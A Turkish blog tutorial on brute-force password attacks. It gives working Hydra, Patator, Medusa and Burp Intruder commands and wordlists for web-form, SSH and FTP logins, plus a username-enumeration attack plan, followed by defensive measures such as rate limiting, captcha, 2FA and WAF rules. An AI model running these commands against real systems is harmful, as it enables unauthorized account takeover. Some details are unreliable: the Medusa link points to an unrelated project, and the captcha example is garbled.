Brute Force Saldırıları: Güvenlik Açıklarını İstismar Etme ve Korunma Rehberi


Bu yazıda brute foce araçlarını , brute forcenin nasıl yapıldığını, en hızlı şekilde nasıl yapıldığını, hangi yerlerde hangi şekilde yapıldığını öğreneceğiz ve en önemlisi bundan korunmayı öğrenecğiz

Brute Force Nedir ve Neden Tehlikelidir?

Brute force, siber güvenlikte “kaba kuvvet”le şifre kırmanın adı. Basit gibi görünse de, yanlış yapılandırılmış sistemlerde tam bir kabus! Bu yazıda, brute force ile güvenlik açıklarını nasıl istismar edebileceğini (tabii ki etik ve yasal test ortamlarında), hangi araçları kullanacağını, terminalde nasıl çalıştıracağını ve sistemini bu saldırılara karşı nasıl demir gibi yapacağını anlatacağım. Hem yeni başlayanlar tek okumada kapacak, hem de uzmanlar “vay be, bunu da mı yazmış” diyecek. Kodlar, parametreler, her şey burada. Hadi, başlayalım!

Brute force, bir sisteme (web sitesi, SSH, FTP, veritabanı vs.) kullanıcı adı ve şifre kombinasyonlarını otomatik olarak deneyerek girmeye çalışma tekniğidir. Eğer sistemde şu açıklar varsa, brute force saniyeler içinde kapıyı kırar:

  • Captcha yoksa: Botlar sınırsız deneme yapar.
  • IP engelleme (rate limit) yoksa: Aynı IP’den binlerce istek gider.
  • Hata mesajları bilgi sızdırıyorsa: Mesela “Kullanıcı adı doğru, şifre yanlış” derse, saldırgan kullanıcı adını doğrular.
  • Zayıf şifre politikası: Kullanıcılar “123456” gibi şifreler kullanıyorsa, iş kolay.
  • 2FA (iki aşamalı doğrulama) yoksa: Tek bir şifreyle sistem ele geçirilir.

Hangi Açıklar Brute Force’u Kolaylaştırır?

Brute force’un kral olduğu senaryoları görelim:

  1. Zayıf Hata Mesajları: Giriş sayfasında “Kullanıcı bulunamadı” yerine “Şifre yanlış” diyorsa, saldırgan doğru kullanıcı adını bulur.
  2. Captcha Eksikliği: Botlar otomatik olarak binlerce deneme yapar.
  3. Rate Limit Olmaması: Sistem, aynı IP’den gelen 10.000 isteği bile engellemez.
  4. Tahmin Edilebilir URL’ler: /admin, /login gibi yollar hedef olur.
  5. Yanıt Süresi Farkları: Doğru kullanıcı adıyla deneme yapıldığında sistem biraz daha yavaş cevap verirse, bu bile bir ipucu.

“Unutmayın ki bunları yapmak için kali linux gibi bir işletim sitemine ihtiyacınız var bu kali linuxu indirmek isterseniz kurulum rehberi burda kolayca kurun”

kali linux kurulum rehberi: https://hackjoin.com/kali-linux-virtualbox-kurulumu-2025/


En Hızlı Brute Force Araçları ve Terminalde Kullanımı

Şimdi işin icraat kısmına geçelim. Aşağıda en popüler brute force araçlarını, terminal komutlarını ve parametrelerini detaylıca vereceğim. Her birini kendi sitende (örneğin pentest ortamında) test edebilirsin.

1. Hydra (THC-Hydra)

Ne İşe Yarar? SSH, FTP, HTTP, SMB gibi tonla protokolde brute force yapar. Hızlı, esnek, kral bir araç.

Github linki: https://github.com/vanhauser-thc/thc-hydra

Kurulum:

sudo apt-get install hydra

Örnek 1: HTTP POST Form Brute Force
Diyelim ki bir web sitesinin giriş sayfası var: https://example.com/login. Kullanıcı adı ve şifre alanları username ve password. Hatalı girişte “Hatalı giriş” yazıyor.

Komut:

hydra -L users.txt -P passwords.txt -t 10 -f -vV https-post-form "/login:username=^USER^&password=^PASS^:Hatalı giriş" example.com

Parametreler:

  • -L users.txt: Kullanıcı adlarının listesi (örneğin: admin, user, test).
  • -P passwords.txt: Şifre listesi (rockyou.txt gibi büyük listeler kullan).
  • -t 10: Aynı anda 10 iş parçacığı (thread) çalıştır (daha fazla sistem çökebilir).
  • -f: İlk başarılı girişte dur.
  • -vV: Detaylı çıktı (her denemeyi gösterir).

users.txt Örneği:

admin
user
test
root

passwords.txt Örneği:

password
123456
admin123
letmein

Çıktı:
Eğer admin:admin123 doğruysa, Hydra bunu bulur ve:

[80][http-post-form] host: example.com   login: admin   password: admin123

Örnek 2: SSH Brute Force
Bir sunucunun SSH portu açık. Kullanıcı adı ve şifre kırmaya çalışalım.

Komut:

hydra -L users.txt -P passwords.txt -t 4 -vV ssh://192.168.1.100

Not: SSH brute force yavaş olabilir, çünkü çoğu sunucu bağlantıyı sınırlar. -t 4 ile düşük thread kullan, yoksa IP’n engellenir.


2. Burp Suite (Intruder)

Github linki: https://github.com/xiv3r/Burpsuite-Professional

Ne İşe Yarar? Web uygulamalarına özel brute force için biçilmiş kaftan. Login formlarını otomatik tarar.

Kurulum: Burp Suite Community veya Pro’yu indir (https://portswigger.net/burp).

Adımlar:

  1. Proxy Ayarı Yap: Tarayıcını Burp’ün proxy’sine yönlendir (genelde 127.0.0.1:8080).
  2. Giriş Sayfasını Yakala: /login sayfasında bir giriş denemesi yap, Burp’te isteği yakala.
  3. Intruder’a Gönder: İsteği Intruder sekmesine yolla.
  4. Payload Ayarla:
  • Kullanıcı adı ve şifre alanlarını seç (örneğin: username=§admin§&password=§password§).
  • Payload türü: Sniper veya Cluster Bomb.
  • Payload listesine kullanıcı adları ve şifreleri ekle.
  1. Başlat: Start Attack de, sonuçları incele.

Örnek Payload Listesi:

  • Kullanıcı adları: admin, user, root
  • Şifreler: password, 123456, admin123

Farklılık Analizi: Doğru girişte yanıt uzunluğu (length) veya durum kodu (status code) farklı olur. Örneğin, hatalı girişte 403, doğru girişte 200.


3. Patator

Github linki: https://github.com/lanjelot/patator

Ne İşe Yarar? Modüler, her protokol için özelleştirilebilir. Hydra’dan daha az bilinir ama çok güçlü.

Kurulum:

pip install patator

Örnek: HTTP Brute Force

patator http_fuzz url=http://example.com/login method=POST body='username=FILE0&password=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Hatalı giriş' -t 10

Parametreler:

  • url: Hedef giriş sayfası.
  • body: POST verisi (kullanıcı adı ve şifre alanları).
  • 0=users.txt: İlk dosya kullanıcı adları.
  • 1=passwords.txt: İkinci dosya şifreler.
  • -x ignore:fgrep='Hatalı giriş': Hatalı girişleri yok say.
  • -t 10: 10 thread.

Avantajı: Yanıt kodlarına, sürelere göre filtreleme yapar. Örneğin, doğru girişte 200 OK dönerse, sadece onları gösterir.


4. Medusa

Github linki: https://github.com/medusajs/medusa

Ne İşe Yarar? Hydra’ya alternatif, çok iş parçacıklı, hızlı bir araç.

Kurulum:

sudo apt-get install medusa

Örnek: FTP Brute Force

medusa -U users.txt -P passwords.txt -h 192.168.1.100 -M ftp -t 10 -f

Parametreler:

  • -U: Kullanıcı adı listesi.
  • -P: Şifre listesi.
  • -h: Hedef IP.
  • -M: Modül (ftp, ssh, http vs.).
  • -t 10: 10 thread.
  • -f: İlk başarıda dur.

Gerçek Dünya Senaryosu: Brute Force ile Açık İstismarı

Durum:

  • Hedef: https://example.com/login
  • Hata mesajı: Kullanıcı adı yanlışsa “Kullanıcı bulunamadı”, şifre yanlışsa “Şifre hatalı”.
  • Captcha yok, rate limit yok.

Saldırı Planı:

  1. Kullanıcı Adlarını Tara:
   hydra -L users.txt -p test123 -t 10 -f -vV https-post-form "/login:username=^USER^&password=^PASS^:Kullanıcı bulunamadı" example.com

Bu, doğru kullanıcı adlarını bulur (çünkü yanlış kullanıcı adında “Kullanıcı bulunamadı” döner).

  1. Şifreleri Tara:
    Doğru kullanıcı adı (örneğin admin) için:
   hydra -l admin -P passwords.txt -t 10 -f -vV https-post-form "/login:username=^USER^&password=^PASS^:Şifre hatalı" example.com
  1. Sonuç: admin:admin123 bulunursa, giriş yapılır.

Neden Başarılı?

  • Hata mesajları bilgi sızdırıyor.
  • Sistem botları engellemiyor.
  • Sınırsız deneme mümkün.

Brute Force’a Karşı Sistemi Çelik Gibi Yapma

Sitenin hacklenmesini istemiyorsan, aşağıdaki önlemleri al:

  1. Rate Limiting:
  • Nginx örneği:
    nginx limit_req_zone $binary_remote_addr zone=mylimit:10m rate=5r/m; server { location /login { limit_req zone=mylimit burst=10; } }
    Bu, aynı IP’den dakikada 5 istekle sınırlar.
  1. Captcha Ekle:
  • Google reCAPTCHA veya hCaptcha’yı giriş formuna entegre et.
  • Örnek (HTML):
    html ¨K27K ¨K26K
  1. Genel Hata Mesajları:
  • Her durumda aynı mesajı göster:
    php if (!login($username, $password)) { echo "Kullanıcı adı veya şifre yanlış."; }
  1. 2FA Uygula:
  • Google Authenticator veya SMS tabanlı 2FA ekle.
  • Örnek kütüphane: php-2fa veya Authy.
  1. WAF (Web Application Firewall):
  • Cloudflare, ModSecurity veya AWS WAF kullan.
  • Örnek ModSecurity kuralı:
    secrule SecRule REQUEST_URI "/login" "id:1000,phase:2,block,log,chain" SecRule &REQUEST_HEADERS:User-Agent "@streq bot" "setvar:tx.score=+10"
  1. Giriş URL’sini Gizle:
  • /login yerine rastgele bir yol kullan (örneğin: /giris_abc123).
  • Apache .htaccess örneği:
    htaccess RewriteRule ^giris_abc123$ login.php [L]
  1. Şifre Politikası:
  • Minimum 12 karakter, büyük-küçük harf, rakam, sembol zorunlu.
  • Örnek regex:
    regex ^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{12,}$
  1. Loglama ve İzleme:
  • Başarısız giriş denemelerini logla:
    bash tail -f /var/log/auth.log | grep "Failed password"

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Yorum
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x
en_USEnglish